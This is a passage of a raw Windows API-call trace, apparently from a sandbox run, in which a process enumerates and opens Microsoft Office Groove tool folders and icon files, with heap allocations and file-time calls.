lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e92300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6e92300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZoomIconsMask.bmp", cAlternateFileName="")) returned 0 [0079.092] GetLastError () returned 0x12 [0079.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8270) returned 1 [0079.092] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0079.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8378) returned 1 [0079.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0079.092] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Tool", cAlternateFileName="")) returned 1 [0079.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0079.092] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0079.094] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0079.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11dc790 [0079.094] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11dc790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11dc790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0079.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0079.094] NtClose (Handle=0x17c) returned 0x0 [0079.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0079.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0079.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8378 [0079.095] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9180 [0079.095] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.095] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbadd700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbbadd700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconImages.jpg", cAlternateFileName="")) returned 1 [0079.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8270 [0079.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c91c0 [0079.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11db5e0 [0079.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.096] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconImagesMask.bmp", cAlternateFileName="")) returned 1 [0079.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c91e0 [0079.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11db7f0 [0079.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.097] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconImagesMask.bmp", cAlternateFileName="")) returned 0 [0079.097] GetLastError () returned 0x12 [0079.097] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9080 [0079.097] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0079.097] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.097] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbadd700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbbadd700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconImages.jpg", cAlternateFileName="")) returned 1 [0079.097] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconImagesMask.bmp", cAlternateFileName="")) returned 1 [0079.097] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconImagesMask.bmp", cAlternateFileName="")) returned 0 [0079.097] GetLastError () returned 0x12 [0079.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8378) returned 1 [0079.098] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8270) returned 1 [0079.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0079.098] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Tool", cAlternateFileName="")) returned 0 [0079.098] GetLastError () returned 0x12 [0079.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb1a8) returned 1 [0079.098] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8060) returned 1 [0079.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb0a0) returned 1 [0079.098] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0 [0079.098] GetLastError () returned 0x12 [0079.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.099] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0079.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.099] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolIcons", cAlternateFileName="")) returned 1 [0079.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.099] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0079.100] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0079.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11dc790 [0079.100] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11dc790, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11dc790, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0079.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0079.100] NtClose (Handle=0x168) returned 0x0 [0079.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.101] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0079.102] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.103] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALERT.ICO", cAlternateFileName="")) returned 1 [0079.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0079.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9200 [0079.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11db6e8 [0079.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.104] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHEVRON.ICO", cAlternateFileName="")) returned 1 [0079.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9220 [0079.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11db8f8 [0079.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.105] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPUTER.ICO", cAlternateFileName="")) returned 1 [0079.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9240 [0079.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dba00 [0079.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.106] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x604b3070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xea6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactSelector.ico", cAlternateFileName="")) returned 1 [0079.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9260 [0079.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dbb08 [0079.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.107] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e764200, ftCreationTime.dwHighDateTime=0x1c9ff6c, ftLastAccessTime.dwLowDateTime=0x52a4cdf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e764200, ftLastWriteTime.dwHighDateTime=0x1c9ff6c, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gfserrorfromgroove.ico", cAlternateFileName="")) returned 1 [0079.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9280 [0079.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dbc10 [0079.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4b40) returned 0x11dc790 [0079.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.108] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78806100, ftCreationTime.dwHighDateTime=0x1c9ff6c, ftLastAccessTime.dwLowDateTime=0x52a4cdf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78806100, ftLastWriteTime.dwHighDateTime=0x1c9ff6c, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gfserrortogroove.ico", cAlternateFileName="")) returned 1 [0079.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c92a0 [0079.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dbd18 [0079.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.109] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddee4300, ftCreationTime.dwHighDateTime=0x1c9dff9, ftLastAccessTime.dwLowDateTime=0x537fcc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xddee4300, ftLastWriteTime.dwHighDateTime=0x1c9dff9, nFileSizeHigh=0x0, nFileSizeLow=0x294dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GWE.ICO", cAlternateFileName="")) returned 1 [0079.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c92c0 [0079.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dbe20 [0079.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.110] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe103100, ftCreationTime.dwHighDateTime=0x1c747ea, 